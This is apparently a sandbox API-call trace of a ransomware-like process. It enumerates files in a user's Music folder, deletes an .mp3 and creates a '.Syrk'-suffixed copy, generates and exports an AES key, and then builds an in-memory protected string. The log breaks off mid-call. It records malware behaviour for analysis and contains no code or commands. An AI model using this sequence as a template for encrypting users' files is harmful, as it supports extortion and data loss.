GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn")) returned 0x10 [0242.544] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn")) returned 0x10 [0242.544] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x23 [0242.544] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn", nBufferLength=0x23, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn", lpFilePart=0x0) returned 0x22 [0242.544] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02")) returned 0x10 [0242.545] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02")) returned 0x10 [0242.545] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x31 [0242.545] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02", nBufferLength=0x31, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02", lpFilePart=0x0) returned 0x30 [0242.545] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\ql4itmgkfkq")) returned 0x10 [0242.545] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\ql4itmgkfkq")) returned 0x10 [0242.545] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3d [0242.545] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ", nBufferLength=0x3d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ", lpFilePart=0x0) returned 0x3c [0242.545] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\tjL0lG.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\ql4itmgkfkq\\tjl0lg.mp3")) returned 0x20 [0242.546] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\tjL0lG.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x48 [0242.546] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\tjL0lG.mp3", nBufferLength=0x48, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\tjL0lG.mp3", lpFilePart=0x0) returned 0x47 [0242.549] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\tjL0lG.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x48 [0242.549] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\tjL0lG.mp3", nBufferLength=0x48, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\tjL0lG.mp3", lpFilePart=0x0) returned 0x47 [0242.549] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e56c) returned 1 [0242.549] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\tjL0lG.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x48 [0242.549] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\tjL0lG.mp3", nBufferLength=0x48, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\tjL0lG.mp3", lpFilePart=0x0) returned 0x47 [0242.549] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\tjL0lG.mp3\\*" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\ql4itmgkfkq\\tjl0lg.mp3\\*"), lpFindFileData=0x5a2e31c | out: lpFindFileData=0x5a2e31c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0242.550] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e2dc) returned 1 [0242.550] CoTaskMemAlloc (cb=0x404) returned 0x5c98368 [0242.550] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x5c98368, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0242.550] CoTaskMemFree (pv=0x5c98368) [0242.552] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\tjL0lG.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\ql4itmgkfkq\\tjl0lg.mp3")) returned 0x20 [0242.552] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\tjL0lG.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x48 [0242.552] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\tjL0lG.mp3", nBufferLength=0x48, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\tjL0lG.mp3", lpFilePart=0x0) returned 0x47 [0242.552] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e234) returned 1 [0242.552] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\tjL0lG.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\ql4itmgkfkq\\tjl0lg.mp3"), fInfoLevelId=0x0, lpFileInformation=0x23bc26c | out: lpFileInformation=0x23bc26c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdffc2940, ftCreationTime.dwHighDateTime=0x1d99599, ftLastAccessTime.dwLowDateTime=0xc27c7050, ftLastAccessTime.dwHighDateTime=0x1d99760, ftLastWriteTime.dwLowDateTime=0xc27c7050, ftLastWriteTime.dwHighDateTime=0x1d99760, nFileSizeHigh=0x0, nFileSizeLow=0x1800a)) returned 1 [0242.552] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e230) returned 1 [0242.553] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\tjL0lG.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\ql4itmgkfkq\\tjl0lg.mp3")) returned 1 [0242.555] EtwEventActivityIdControl () returned 0x0 [0242.556] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0242.556] EtwEventActivityIdControl () returned 0x0 [0242.556] EtwEventActivityIdControl () returned 0x0 [0242.556] EtwEventActivityIdControl () returned 0x0 [0242.564] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\tjL0lG.mp3.Syrk" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\ql4itmgkfkq\\tjl0lg.mp3.syrk")) returned 0x20 [0242.564] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\tjL0lG.mp3.Syrk" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\ql4itmgkfkq\\tjl0lg.mp3.syrk")) returned 0x20 [0242.565] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\tjL0lG.mp3.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4d [0242.565] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\tjL0lG.mp3.Syrk", nBufferLength=0x4d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\tjL0lG.mp3.Syrk", lpFilePart=0x0) returned 0x4c [0242.565] EtwEventActivityIdControl () returned 0x0 [0242.565] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0242.566] EtwEventActivityIdControl () returned 0x0 [0242.566] EtwEventActivityIdControl () returned 0x0 [0242.566] EtwEventActivityIdControl () returned 0x0 [0242.599] EtwEventActivityIdControl () returned 0x0 [0242.599] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0242.600] EtwEventActivityIdControl () returned 0x0 [0242.600] EtwEventActivityIdControl () returned 0x0 [0242.600] EtwEventActivityIdControl () returned 0x0 [0242.604] EtwEventActivityIdControl () returned 0x0 [0242.604] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0242.604] EtwEventActivityIdControl () returned 0x0 [0242.604] EtwEventActivityIdControl () returned 0x0 [0242.604] EtwEventActivityIdControl () returned 0x0 [0242.608] EtwEventActivityIdControl () returned 0x0 [0242.608] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0242.608] EtwEventActivityIdControl () returned 0x0 [0242.608] EtwEventActivityIdControl () returned 0x0 [0242.608] EtwEventActivityIdControl () returned 0x0 [0242.612] EtwEventActivityIdControl () returned 0x0 [0242.612] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0242.613] EtwEventActivityIdControl () returned 0x0 [0242.613] EtwEventActivityIdControl () returned 0x0 [0242.613] EtwEventActivityIdControl () returned 0x0 [0242.618] EtwEventActivityIdControl () returned 0x0 [0242.622] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca4) returned 1 [0242.623] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\tjL0lG.mp3.Syrk" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\ql4itmgkfkq\\tjl0lg.mp3.syrk"), fInfoLevelId=0x0, lpFileInformation=0x23ca148 | out: lpFileInformation=0x23ca148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc424b10, ftCreationTime.dwHighDateTime=0x1da3860, ftLastAccessTime.dwLowDateTime=0xc424b10, ftLastAccessTime.dwHighDateTime=0x1da3860, ftLastWriteTime.dwLowDateTime=0xc44ac70, ftLastWriteTime.dwHighDateTime=0x1da3860, nFileSizeHigh=0x0, nFileSizeLow=0x18024)) returned 1 [0242.623] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca0) returned 1 [0242.624] GetConsoleOutputCP () returned 0x1b5 [0242.625] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0242.625] GetConsoleOutputCP () returned 0x1b5 [0242.625] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0242.625] GetConsoleOutputCP () returned 0x1b5 [0242.625] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0242.625] GetConsoleOutputCP () returned 0x1b5 [0242.626] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0242.626] GetConsoleOutputCP () returned 0x1b5 [0242.626] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0242.626] GetConsoleOutputCP () returned 0x1b5 [0242.626] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0242.626] GetConsoleOutputCP () returned 0x1b5 [0242.627] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0242.627] GetConsoleOutputCP () returned 0x1b5 [0242.627] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0242.627] GetConsoleOutputCP () returned 0x1b5 [0242.627] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0242.627] GetConsoleOutputCP () returned 0x1b5 [0242.628] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0242.628] GetConsoleOutputCP () returned 0x1b5 [0242.628] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0242.628] GetConsoleOutputCP () returned 0x1b5 [0242.628] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0242.628] GetConsoleOutputCP () returned 0x1b5 [0242.629] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0242.629] GetConsoleOutputCP () returned 0x1b5 [0242.629] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0242.629] GetConsoleOutputCP () returned 0x1b5 [0242.629] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0242.629] GetConsoleOutputCP () returned 0x1b5 [0242.629] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0242.629] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e528 | out: lpConsoleScreenBufferInfo=0x5a2e528) returned 1 [0242.630] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0242.631] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x23e43f4*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x23e43f4*, lpNumberOfCharsWritten=0x5a2e514*=0x4f) returned 1 [0242.631] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0242.632] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e514*=0x2) returned 1 [0242.633] EtwEventActivityIdControl () returned 0x0 [0242.633] EtwEventActivityIdControl () returned 0x0 [0242.634] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0242.634] EtwEventActivityIdControl () returned 0x0 [0242.634] EtwEventActivityIdControl () returned 0x0 [0242.634] EtwEventActivityIdControl () returned 0x0 [0242.637] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0242.637] EtwEventActivityIdControl () returned 0x0 [0242.637] EtwEventActivityIdControl () returned 0x0 [0242.637] EtwEventActivityIdControl () returned 0x0 [0242.640] CryptAcquireContextW (in: phProv=0x5a2e450, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e450*=0x3742b0) returned 1 [0242.641] CryptGenKey (in: hProv=0x3742b0, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e884 | out: phKey=0x5a2e884*=0x5c69440) returned 1 [0242.641] CryptContextAddRef (hProv=0x3742b0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0242.641] CryptExportKey (in: hKey=0x5c69440, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e8c4 | out: pbData=0x0*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0242.641] CryptExportKey (in: hKey=0x5c69440, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x23ebdcc, pdwDataLen=0x5a2e8c4 | out: pbData=0x23ebdcc*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0242.642] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e4ac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0242.642] EtwEventActivityIdControl () returned 0x0 [0242.642] EtwEventActivityIdControl () returned 0x0 [0242.642] EtwEventActivityIdControl () returned 0x0 [0242.643] SysStringLen (param_1="") returned 0x8 [0242.644] SysStringLen (param_1="p") returned 0x8 [0242.644] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.644] SysStringLen (param_1="ﾪjⷡ雁굘꧊盬셒") returned 0x8 [0242.644] SysStringLen (param_1="ﾪjⷡ雁굘꧊盬셒") returned 0x8 [0242.644] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.644] SysStringLen (param_1="pL") returned 0x8 [0242.644] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.644] SysStringLen (param_1="\ⳛ瑤ᣘꃿ匙꯰ꭚ⊍) returned 0x8 [0242.644] SysStringLen (param_1="\ⳛ瑤ᣘꃿ匙꯰ꭚ⊍) returned 0x8 [0242.644] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.644] SysStringLen (param_1="pLP") returned 0x8 [0242.644] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.645] SysStringLen (param_1="蚢뜼\⿘峓⿝섞⹡√) returned 0x8 [0242.645] SysStringLen (param_1="蚢뜼\⿘峓⿝섞⹡√) returned 0x8 [0242.645] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.645] SysStringLen (param_1="pLPl") returned 0x8 [0242.645] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.645] SysStringLen (param_1="곯ᒔ䄒숤藺㊁") returned 0x8 [0242.645] SysStringLen (param_1="곯ᒔ䄒숤藺㊁") returned 0x8 [0242.645] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.645] SysStringLen (param_1="pLPl3") returned 0x8 [0242.645] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.646] SysStringLen (param_1="혫谩翨줙ḯꅸ६蓨") returned 0x8 [0242.646] SysStringLen (param_1="혫谩翨줙ḯꅸ६蓨") returned 0x8 [0242.646] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.646] SysStringLen (param_1="pLPl3Y") returned 0x8 [0242.646] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.646] SysStringLen (param_1="꿑栗ᖷ浵䐷䣁〝") returned 0x8 [0242.646] SysStringLen (param_1="꿑栗ᖷ浵䐷䣁〝") returned 0x8 [0242.646] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.646] SysStringLen (param_1="pLPl3YZ") returned 0x8 [0242.646] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.647] SysStringLen (param_1="幱憏쥣䒻備薶쇲쒅") returned 0x8 [0242.647] SysStringLen (param_1="幱憏쥣䒻備薶쇲쒅") returned 0x8 [0242.647] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.647] SysStringLen (param_1="pLPl3YZv") returned 0x8 [0242.647] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.647] SysStringLen (param_1="렂禽梍귻앓\铞⊁) returned 0x8 [0242.648] SysStringLen (param_1="렂禽梍귻앓\铞⊁) returned 0x8 [0242.648] SysStringLen (param_1="렂禽梍귻앓\铞⊁) returned 0x8 [0242.648] SysStringLen (param_1="렂禽梍귻앓\铞⊁) returned 0x10 [0242.648] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.649] SysStringLen (param_1="pLPl3YZvb䄨ῤ᜵亼往굿䲯") returned 0x10 [0242.649] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.649] SysStringLen (param_1="렂禽梍귻앓\铞⾁㿏鰫늌﷘⡋∊) returned 0x10 [0242.649] SysStringLen (param_1="렂禽梍귻앓\铞⾁㿏鰫늌﷘⡋∊) returned 0x10 [0242.649] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.649] SysStringLen (param_1="pLPl3YZvb6ῤ᜵亼往굿䲯") returned 0x10 [0242.649] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.649] SysStringLen (param_1="렂禽梍귻앓\铞⾁뮱鏳樵瑩学졺瘃⊅) returned 0x10 [0242.649] SysStringLen (param_1="렂禽梍귻앓\铞⾁뮱鏳樵瑩学졺瘃⊅) returned 0x10 [0242.649] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.650] SysStringLen (param_1="pLPl3YZvb6R᜵亼往굿䲯") returned 0x10 [0242.650] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.650] SysStringLen (param_1="렂禽梍귻앓\铞톁ध傘⟆륧洋∳) returned 0x10 [0242.650] SysStringLen (param_1="렂禽梍귻앓\铞톁ध傘⟆륧洋∳) returned 0x10 [0242.650] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.650] SysStringLen (param_1="pLPl3YZvb6Rp亼往굿䲯") returned 0x10 [0242.650] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.650] SysStringLen (param_1="렂禽梍귻앓\铞薁〟殭︽岛砀昀搀搀㤀栀ѹ⋲) returned 0x10 [0242.650] SysStringLen (param_1="렂禽梍귻앓\铞薁〟殭︽岛砀昀搀搀㤀栀ѹ⋲) returned 0x10 [0242.650] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.650] SysStringLen (param_1="pLPl3YZvb6Rpv往굿䲯") returned 0x10 [0242.650] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.651] SysStringLen (param_1="렂禽梍귻앓\铞斁퇅ວ凘ᯔ඗쵤띓∩) returned 0x10 [0242.651] SysStringLen (param_1="렂禽梍귻앓\铞斁퇅ວ凘ᯔ඗쵤띓∩) returned 0x10 [0242.651] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.651] SysStringLen (param_1="pLPl3YZvb6Rpvp굿䲯") returned 0x10 [0242.651] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.651] SysStringLen (param_1="렂禽梍귻앓\铞趁魷蒫ℏ渀궂⋃) returned 0x10 [0242.651] SysStringLen (param_1="렂禽梍귻앓\铞趁魷蒫ℏ渀궂⋃) returned 0x10 [0242.651] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.651] SysStringLen (param_1="pLPl3YZvb6Rpvp1䲯") returned 0x10 [0242.651] SystemFunction040 